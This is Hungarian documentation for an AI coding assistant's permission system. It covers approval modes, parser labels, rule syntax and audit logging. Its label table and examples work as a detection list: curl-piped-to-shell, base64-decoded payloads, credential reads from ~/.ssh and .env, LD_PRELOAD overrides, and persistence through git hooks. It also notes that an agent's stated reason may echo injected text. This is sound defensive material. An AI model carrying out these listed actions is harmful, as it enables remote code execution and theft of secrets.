Codumentor logo Codumentor

Engedélyek

Amikor az asszisztens potenciálisan érzékeny műveleteket szeretne végrehajtani — shell parancsok futtatása, a munkakönyvtáron kívüli fájl olvasása vagy külső rendszerek (Gitea, Redmine, adatbázis, Gmail) hívása — jóváhagyást kér tőled. Te irányítod, mi történik.

A három jóváhagyási mód

Minden beszélgetésnek saját jóváhagyási módja van. Az üzenetíró melletti Jóváhagyás vezérlőn állíthatod át, a TUI-ban pedig az F4 billentyűvel (amely a Kérdez → Auto → Mindent engedélyez sorrenden lépked, és akkor is működik, ha épp egy engedélykérő ablak van a képernyőn).

MódMi történikMikor használd
KérdezMinden ellenőrzött hívás megáll és rákérdez. Ez az alapértelmezés.Mindent látni akarsz.
AutoEgy osztályozó jóváhagyja a rutinhívásokat, a többiről megkérdez. Minden automatikusan jóváhagyott hívás jelölve van az átiratban.Hosszú feladaton dolgozol, és csak akkor akarsz megszakítást, ha az számít.
Mindent engedélyezSemmi nem kérdez rá. A tiltó szabályok továbbra is érvényesek.Eldobható sandbox, vagy már körülhatárolt feladat.

Két további mód létezik a Beállításokban és a parancssoron (--permission-mode), de az üzenetíró vezérlőjén nem:

A módváltás a következő eszközhívásnál lép életbe, akkor is, ha a fordulód épp egy kérdésre vár. A váltás bekerül az átiratba, így a beszélgetésben látszik, hol kapcsoltak be vagy ki egy biztonsági módot.

Az adminisztrátorod az egész példányra kikapcsolhatja az Autót vagy a Mindent engedélyez módot; a nem elérhető mód egyszerűen nem jelenik meg.

Mit fed le a mód

A mód arról dönt, mi történjen azokkal a hívásokkal, amelyek eljutnak az engedélykapuig. Ma ezek a következők:

A munkakönyvtáron belüli fájlszerkesztések nincsenek ellenőrizve. Amikor az asszisztens a munkaterületen ír vagy szerkeszt egy fájlt, nem jelenik meg kérdés — és ezen egyik mód sem változtat. A Kérdez, az Auto és a Mindent engedélyez ugyanúgy viselkedik ezeknél az írásoknál, és egy Write(…) szabály sem állítja meg őket. Ezeket magának a munkaterületnek a határa tartja kordában — írás semmilyen beállítás mellett nem kerülhet a munkaterületen kívülre —, valamint a verziókövetésed: tartsd commitolva a munkát, és olvasd el az asszisztens által készített diffet. A fájlszerkesztések útvonalfüggő jóváhagyása tervben van, de még nem jelent meg.

Az engedélykérő párbeszédablak

Amikor egy eszköz jóváhagyást igényel, megjelenik egy párbeszédablak, amely részletezi, mit szeretne tenni az asszisztens. Négy lehetőséged van:

MűveletMit csinál
TiltásAz adott kérés blokkolása
Egyszeri engedélyezésCsak ennek a kérésnek a végrehajtása
Összes engedélyezése ebben a beszélgetésbenHasonló kérések automatikus jóváhagyása a beszélgetés hátralévő részében
Szabály létrehozásaMinden beszélgetésre érvényes szabályok mentése, amelyek átengedik (vagy tiltják) ezt a kérést

Billentyűparancsok: Nyomd meg az Entert az Egyszeri engedélyezéshez, az Esc-et a Tiltáshoz.

A parancs fölött legfeljebb négy sor jelenik meg, abban a sorrendben, amennyire megbízhatsz bennük:

  1. Miért kérdez („Az Auto azért kérdez, mert:") — csak Auto módban. Az Auto egymondatos indoklása arról, mi állította meg.
  2. A kérésről — a Codumentor saját megjegyzése a kérésről, ha van ilyen. Ma csak a munkakönyvtáron kívüli olvasáshoz tartozik ilyen, és azt magyarázza el, mit jelent a jóváhagyás. Ezt a keretrendszer írta, nem az asszisztens, és a felirata is ezt mondja.
  3. Címkék — rövid feliratok a Codumentor saját parancselemzőjétől. Ezek a parancs elemzéséből származó tények. Az asszisztens semmivel nem tudja megváltoztatni őket.
  4. Az ügynök indoklása — egy mondat, amit az asszisztens írt arról, miért van szüksége erre a hívásra. Nem minden kéréshez tartozik ilyen; lásd alább.

Mit jelentenek a címkék

Az elemző a parancsot részekre bontja, és megcímkézi, mit csinálnak. A figyelmeztető színnel megjelenő címkék eszkalálók: az ilyen címkét viselő parancsot engedélyező szabály soha nem fedheti le, és az Auto soha nem hagyja jóvá csendben.

CímkeJelentés
nem elemezhetőA parancs nem érvényes shell, így semmi nem ellenőrizhető róla
a parancs neve nem szó szerintiA futtatandó program futásidőben áll össze
parancsbehelyettesítés$(…), visszafelé idézőjel vagy folyamat-behelyettesítés
generált kódot futtateval, source, bash -c, python -c, …
emelt jogosultságsudo, su, doas, setuid chmod, chown
shellbe csövezi a kimenetetLetöltött vagy generált tartalmat egy értelmezőbe csövez
dekódolva shellbe küldibase64 -d (vagy hasonló) egy értelmezőbe vezetve
fájlokat törölRekurzív vagy kényszerített törlés a munkakönyvtáron kívül, dd, shred, truncate (kivéve ha csak növeli a fájlt), find -delete
git állapotot ír átpush --force, reset --hard, clean -f, branch -d/-D, commit --amend, git checkout <commit> <fájl> (amely felülírja a fájlt), …
a munkaterületen kívülre írÁtirányítás, amelynek célja a munkakönyvtáron kívül van
rendszerbeállítást módosítcrontab, systemctl, írás az /etc, ~/.ssh, ~/.bashrc alá, …
titkokat olvas~/.aws, ~/.ssh, .pem, .env, paraméter nélküli env/printenv
felülírja a környezetetA parancs elé írt VÁLTOZÓ=érték, amely megváltoztatja, mi fut valójában — LD_PRELOAD, PATH, BASH_ENV, GIT_SSH_COMMAND, LESSOPEN, …
üzemeltetői szabályra illeszkedikAz adminisztrátorod beállított egy mindig eszkaláló mintát
hálózati hozzáféréscurl, wget, ssh, git push, és minden csomagtárból letöltő telepítés (pip install requests, npm i lodash) — a tárból telepítés más által választott kódot tölt le és lefuttatja a telepítőszkriptjeit, ezért hálózateléréssé számít. Eszkalálóként jelenik meg, hacsak a beszélgetésed sandboxának nincs saját hálózata — a szabályillesztés szempontjából viszont mindig eszkaláló, lásd alább
csomagot telepítpip install, npm i, apt, brew
később futó kódot telepítA parancs olyan fájlba ír, amelyet később valami más futtat: CI-workflow (.github/workflows/…), git hook, conftest.py, .pre-commit-config.yaml, .envrc, shell indítófájl. Maga az írás lehet teljesen szokványos — ami utána marad, minden későbbi pusholásnál, commitnál vagy shell indításnál lefut
projektkódot futtatpytest, make, npm test, ./script a munkakönyvtárban
ismeretlen parancsAz elemző nem ismeri a programot
hosszú parancsTöbb rész, cső és átirányítás, mint a beállított határ

Az ügynök indoklása — állításként olvasd

Az asszisztens által kezdeményezett eszközhívás egy egymondatos reason mezőt hoz magával, amit az asszisztens neked ír: „Törli az elavult build/ kimenetet, hogy az általad kért újrafordítás tisztán induljon." Ez a shell parancsokra és minden ellenőrzött bővítményeszközre igaz — azokra a hívásokra, amelyeket az asszisztens maga választ és nevez meg.

Néhány jóváhagyás egyáltalán nem eszközhívásból származik, és ezekhez nincs indoklás; a párbeszédablak egyszerűen elhagyja a sort. Ezek: a munkakönyvtáron kívüli fájl olvasása (ezt maguk a fájleszközök kérik, olvasás közben), a gazdagép hálózatának megnyitása a sandbox felé (a kör első parancsa előtt kérdez), egy MCP-alkalmazás eszközhívása, és egy beágyazott ügynök visszahívása a Codumentor eszközeire. A hiányzó indoklás tehát nem olyan modell, amely nem volt hajlandó magyarázkodni — hanem olyan kérés, amit a modell soha nem fogalmazott meg.

Ez valóban hasznos, és nem bizonyíték. Az asszisztens lehet, hogy egy fájlban, weboldalon vagy parancskimenetben olvasott szavakat ismétel, és egy félrevezetett modell őszintén hangzó indoklást ír a rossz dologhoz. Ezért teszi a párbeszédablak a címkéket — amelyek magából a parancsból származnak — föléje, ezért jeleníti meg formázás és hivatkozás nélküli sima szövegként, és ezért címkézi „Az ügynök indoklása" felirattal.

Ha a címkék és az indoklás ellentmondanak, a címkéknek higgy.

Auto mód

Az Auto egyetlen dolgot dönt el: megszakítson-e téged. Egy beszélgetésben magától soha nem tilt le hívást — csak a tiltó szabályok és a Terv mód tiltanak —, így szigorúan biztonságosabb a Mindent engedélyeznél és szigorúan csendesebb a Kérdeznél. Egyetlen kivétel van, épp ott, ahol senki nem tud választ adni: felügyelet nélküli futásban (scheduler.permission_mode: auto) az a hívás, amiről az Auto kérdezett volna, elutasításra kerül, mert egy olyan kérdés félretétele, amit senki nem olvas el, megakasztaná a futást. Lásd Ütemezett futások.

Minden ellenőrzött hívás két szakaszon megy át:

1. Az elemző (determinisztikus). A parancsot elemzi és megcímkézi. Ha bármilyen eszkaláló címkét visel, az Auto kérdez — modellt nem kérdez meg, és az asszisztens semmivel nem tudja ezt felülírni. Ha a parancs csak olvas, és a munkakönyvtáron kívülre semmit nem ír, az Auto jóváhagyja. A saját projekted tesztjeinek futtatását akkor hagyja jóvá, ha a munkaterület elszigetelt sandbox saját hálózat nélkül.

2. A bíró (modell). Minden más egy külön, kicsi modellhívásra kerül, amely egyetlen kérdésre válaszol: egyértelműen azt szolgálja-e ez a művelet, amit a felhasználó kért, és nem sért-e olyan határt, amit a felhasználó kimondott?

A bírót szándékosan rövidlátóra tervezték:

Az Auto fel is adja magát. Ha háromszor egymás után tiltod le a kérdéseit, vagy húszszor kérdezett egy beszélgetésben, a beszélgetést visszakapcsolja Kérdez módba, és megmondja, miért: ha az asszisztens folyton olyasmit javasol, amit nem akarsz, a csend volt a rossz beállítás.

Az automatikusan jóváhagyott hívások jelölve vannak az átiratban az Auto által írt megjegyzéssel, és minden döntés rögzítésre kerül. Semmi nem fut csendben és láthatatlanul egyszerre.

Az Auto nem tud tiltó szabályt feloldani, nem ér el olyan eszközt, amit a hozzáférési profilod visszatartott, és nem hagy jóvá semmit, amit a Mindent engedélyez elutasítana.

Engedélyszabályok

A szabályok lehetővé teszik, hogy előre jóváhagyj vagy blokkolj műveleteket automatikusan, így nem kell ismétlődő megerősítésekre kattintanod.

A szabályok a ToolName vagy ToolName(specifier) mintát követik:

MintaMire illeszkedik
ShellMinden shell parancs
Shell(npm run:*)"npm run " kezdetű shell parancsok
Shell(git status)Pontosan "git status"
Read(.env)A munkakönyvtáron kívüli .env fájl olvasása
Write(*.log)Bármely .log fájl írása — fenntartva, lásd lentebb

Ma a Shell szabályok végzik az érdemi munkát. A Read(…) szabályokat a rendszer csak a munkakönyvtáron kívüli olvasásoknál nézi meg: a könyvtáron belüli fájl soha nem jut el a kapuig, így a Read(.env) nem blokkolja a tárházaid egyikében lévő .env fájlt. A Write(…) szabályok egyelőre semmire nem illeszkednek, mert a fájlszerkesztések nincsenek ellenőrizve (lásd fentebb a Mit fed le a mód szakaszt); azért fogadja el őket a rendszer, hogy a ma megírt szabályaid akkor is működjenek, amikor ez megérkezik.

Helyettesítő karakterek

HelyettesítőViselkedésPélda
:* (végén)Előtag-illeszkedés szóhatárral: utána bármi, vagy semmiShell(npm:*) illeszkedik az npm install-ra, de nem az npmx-re
* (bárhol)Glob-stílusú helyettesítő — bármire illeszkedik, szóközt és / jelet is beleértveShell(git *) illeszkedik a git status-ra, git commit-ra

A párbeszédablak által egy pontos parancsra írt szabály a , ? és [ karaktereket szögletes zárójelbe teszi (Shell(rm [].tmp)), így csak arra a parancsra illeszkedik — az rm *.tmp-re, és nem az rm -rf src .tmp-re.

Hogyan illeszkedik egy szabály összetett parancsra

Egy shell parancs több parancs is lehet egyszerre (a && b, a; b, a | b). A szabályok részenként illeszkednek:

Így a Shell(ls:*) engedélyezi az ls -la-t, de nem az ls; curl https://example.com/x | sh-t — a második részt nem fedi le, és az egy letöltést csövez a shellbe. Ha volt engedélyező szabályod, mielőtt ez a viselkedés létezett, több kérdést fogsz látni, mint korábban; mindegyik olyan parancs, amit a szabályod sosem akart lefedni.

Hogyan látja egy szabály a részeket:

A szabályok illesztése úgy történik, mintha nem lenne sandbox. A szabálymotor a kérést látja, nem a beszélgetés sandboxát, ezért minden parancsot a legkitettebb környezetben elemez: sandbox nélkül, elérhető hálózattal. Az egyetlen címke, amelynek a jelentése a sandboxtól függ — a hálózati hozzáférés — így a szabályok szempontjából mindig eszkaláló, még akkor is, ha a párbeszédablak halvány színnel mutatja, mert a sandboxodnak nincs saját hálózata. A gyakorlati következmény: a Shell(git:) semmilyen beállítás mellett nem fedi le a git push-t. Írd a szabályt azokra a parancsokra, amelyekre gondoltál (Shell(git status), Shell(git diff:), Shell(git log:*)), ne magára a programra.

Szabályok prioritása

  1. Operátori tiltó szabályok — az adminisztrátorod állítja be a konfigurációban. Nem tudod megváltoztatni vagy törölni.
  2. A saját tiltó szabályaid
  3. Terv mód, ha a beszélgetés abban van
  4. Összes engedélyezése ebben a beszélgetésben, ha megadtad
  5. Operátori engedélyező szabályok és a saját engedélyező szabályaid, részenként összeadva (minden részhez bármelyikből kell egy szabály)
  6. Mindent engedélyez mód
  7. Az Auto mód osztályozása
  8. Egyébként megkérdez

A tiltás mindig győz. Sem mód, sem szabály, sem Auto-döntés nem oldhat fel tiltó szabályt, és semmi nem változtathat egy már megadott elutasítást jóváhagyássá.

Szabályok kezelése

Menj a Beállítások -> Eszközengedélyek menüpontba a szabályaid kezeléséhez. A következőket teheted:

Gyakori példák

Engedélyező szabályok:

Shell(npm run:*)           # npm run parancsok
Shell(git status)          # git status
Shell(git diff:*)          # git diff
Shell(python -m pytest:*)  # pytest

Tiltó szabályok:

Shell(rm -rf:*)    # rekurzív törlés blokkolása
Shell(curl:*)      # curl blokkolása
Read(.env)         # munkakönyvtáron kívüli .env olvasásának blokkolása
Read(.env.*)       # ugyanez a .env.* fájlokra

Szabály létrehozása a párbeszédablakból

Amikor megjelenik egy engedélykérés, nyisd meg a További válaszlehetőségek → Szabály létrehozása pontot. A szerkesztő minden beszélgetésre megjegyzi a kérést, és kimeneteleket kínál, nem mintákat: minden lehetőség szabályok egy olyan halmaza, amely együtt mentve átengedi ezt a parancsot. A szerver minden lehetőséget ugyanazzal a kóddal ellenőriz, amellyel a jóváhagyási kapu dönt, mielőtt megmutatja.

Az echo "Hello"; pwd; echo "done" parancsra ezt látnád:

A lehetőségek alatt a parancs részenként látható, azzal együtt, mi fedi le az egyes részeket — egy meglévő szabályod, egy most mentendő szabály, vagy semmi —, a mentés gomb pedig kiírja, hány szabályt ír. Megjegyzések jelzik, ha egy lehetőség többet fed le, mint amennyinek látszik: az npm run build … szabály a projekt kódját futtatja, bármit mondanak is az argumentumai, az echo … szabály pedig a kimenet fájlba írását is lefedi, ha az előtted lévő parancs ezt teszi.

A mentés megválaszolja a kérést. A párbeszédablak azért zárul be, mert a mentett szabályok átengedik a parancsot — nem azért, mert helyetted az Engedélyezésre kattintott. Ha a szabályok nem fedik le (ez csak hiányos Egyéni halmaz mentése után fordulhat elő), a kérés marad, és megmondja, melyik rész nincs még lefedve. Az ugyanabban a beszélgetésben várakozó többi kérés, amelyet az új szabályok szintén lefednek, szintén megválaszolódik.

Egyes parancsokat szabály soha nem engedélyezhet — bármit, amin eszkaláló címke van (hálózati hozzáférés, fájlok törlése, generált kód futtatása, …). Ezeknél a szerkesztő ezt rögtön megmondja űrlap helyett, és az Összes engedélyezése ebben a beszélgetésben vagy az Auto mód felé terel. Olyan szabályt, amely tiltja a parancsot, továbbra is létrehozhatsz.

A Tiltás egyedi mintákat kínál — egy illeszkedés elég a tiltáshoz —, például rm tiltása bármilyen argumentummal, Pontosan rm -rf build tiltása vagy Az egész parancssor tiltása. Tiltó szabály mentése után az aktuális kérés elutasításra kerül.

Ha a szabályaid egy parancsnak csak egy részét fedik le, maga a kérés jelzi ezt, közvetlenül a parancs alatt: „A szabályaid 3 parancsból 1-t fednek le itt. Nincs lefedve: pwd, echo done”, egy hivatkozással a hiányzó szabályok hozzáadásához.

A TUI szabályszerkesztője ugyanezeket a lehetőségeket, lefedettséget és figyelmeztetéseket mutatja.

Ütemezett futások

Egy ütemezett futásnál vagy egy tárház-webhook futásnál senki nem ül a billentyűzetnél. Az adminisztrátorod dönti el, mit tehetnek ezek (scheduler.permission_mode). Az alapértelmezés a Mindent engedélyez, a tiltó szabályok érvényben tartásával — ez a Codumentor eddigi viselkedése.

Ha az adminisztrátorod Auto-ra állítja, a felügyelet nélküli futások ugyanazt az osztályozást kapják, mint egy beszélgetés, és mivel nincs kit megkérdezni, az a hívás, amiről az Auto kérdezett volna, elutasításra kerül. Az elutasítás bekerül a futás átiratába a paranccsal, a címkékkel, az Auto megjegyzésével és az ügynök indoklásával, így utólag látod, mit próbált, és eldöntheted, magad lefuttatod-e.

Mit rögzít a rendszer

Minden ellenőrzött hívás tartós nyomot hagy: mit kértek, ki vagy mi döntött róla, és — ha az Auto döntött — annak határozatát, címkéit és megjegyzését. Az általad megválaszolt jóváhagyások, a lefutott szabályok, a módból eredő döntések és az Auto csendes jóváhagyásai mind egy helyen vannak, az Auto jóváhagyásai pedig az átiratban is látszanak az eszközkártya jelvényén.

A nyilvántartás gördülő, nem archívum: egy beszélgetés a legutóbbi 200 jóváhagyási döntést őrzi meg, a régebbieket az újak kiszorítják. Maga az átirat nem rövidül — ami lefutott, az továbbra is ott van a beszélgetésben —, tehát a döntés részletei avulnak ki, nem az, hogy történt valami. Ha auditcélból korlátlan ideig kell megőrizned a jóváhagyásokat, exportáld őket, vagy továbbítsd őket az instanciáról, ahogy keletkeznek.

Megőrzés

A szabályaid és az alapértelmezett módod a szerveren, a fiókodhoz kötve élnek. A böngésző másolatot tart, hogy a felület azonnali legyen, de a szerver a mérvadó — két böngésző már nem mondhat ellent egymásnak a jóváhagyásaidról. Egy beszélgetés módja és az „összes engedélyezése ebben a beszélgetésben" engedélyei a beszélgetéssel élnek, és túlélik az újraindítást.